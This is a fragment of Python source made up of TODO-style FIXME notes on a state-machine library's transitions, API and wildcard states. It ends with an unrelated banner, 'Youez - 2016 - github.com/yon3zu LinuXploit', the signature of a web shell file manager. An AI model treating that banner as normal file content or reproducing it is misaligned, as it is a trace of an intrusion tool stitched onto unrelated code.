            }
        )



# FIXME: error for wrong types on any call to _oneTransition
# FIXME: better public API for .upon; maybe a context manager?
# FIXME: when transitions are defined, validate that we can always get to
# terminal? do we care about this?
# FIXME: implementation (and use-case/example) for passing args from in to out

# FIXME: possibly these need some kind of support from core
# FIXME: wildcard state (in all states, when input X, emit Y and go to Z)
# FIXME: wildcard input (in state X, when any input, emit Y and go to Z)
# FIXME: combined wildcards (in any state for any input, emit Y go to Z)

Youez - 2016 - github.com/yon3zu
LinuXploit